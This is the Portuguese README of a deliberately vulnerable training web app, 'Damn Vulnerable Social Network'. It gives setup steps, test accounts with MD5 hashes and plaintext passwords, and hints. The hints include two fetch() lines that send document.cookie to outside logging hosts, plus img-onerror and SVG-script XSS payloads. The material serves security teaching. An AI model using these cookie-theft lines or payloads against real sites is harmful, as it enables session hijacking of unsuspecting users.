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dvsn's Introduction

Damn Vulnerable Social Network

Uma aplicação vulnerável indicada para testes e entendimento de conceitos de segurança em Aplicações WEB

Requisitos:

  • Java 17
  • Node 19
  • Docker
  • Docker Compose
  • Postgres instalado. (Caso não tenha o Docker e Docker Compose)

Rodar a aplicação

1. Entrar na pasta do front (dvsn/front) e dar build no projeto, para que os arquivos sejam colocados na pasta estática da api.

NPM:

npm install
npm build

YARN:

yarn
yarn build

2. Subir as aplicações utilizando o Docker Compose. Rodar o comando abaixo na pasta raíz do projeto.

docker-compose up

Obs.: Caso queira subir apenas o banco de dados, é necessário comentar as demais aplicações no docker-compose.yml.

3. Criação do banco de dados.

  • Entrar na pasta dvsn e executar o script:
$ ./create-database.sh

4. Abrir o VS Code ou IntelliJ e rodar a aplicação.

Main Class -> RootApplication.java

Usuários disponíveis

Email Hash Senha Senha Admin
[email protected] 0acf4539a14b3aa27deeb4cbdf6e989f michael Sim
[email protected] 061fba5bdfc076bb7362616668de87c8 lovely Não
[email protected] 5f4dcc3b5aa765d61d8327deb882cf99 password Não
[email protected] d8578edf8458ce06fbc5bb76a58c5ca4 qwerty Não
[email protected] 46f94c8de14fb36680850768ff1b7f2a 123qwe Não

Hints:

Assuntos abordados:

  • OWASP TOP 10
  • CSRF
  • Cookies (HttpOnly, Secure, SameSite)
  • Alguns cuidados com LocalStorage e SessionStorage
  • Como manter componentes/frameworks/libs seguras e atualizadas
  • Cabeçalhos CSP e X-Frame-Options

Software Composition Analysis (SCA)

Vulnerabilidades

  • SQL Injection
  • XSS
  • Cookie
    • É apenas um base64 e a aplicação confia no que o cliente enviar.

fetch('https://servidor-de-log.free.beeceptor.com/todos?cookie=' + document.cookie) fetch('http://logger.crescer.lab/?cookie=' + document.cookie)

Payloads:

  • XSS
<img src="a" onerror="alert('XSS')" />
  • SVG
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS");
  </script>
</svg>

Exemplos de vulnerabilidades:

Referências

https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/eval https://github.com/payloadbox/xss-payload-list

dvsn's People

Contributors

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Watchers

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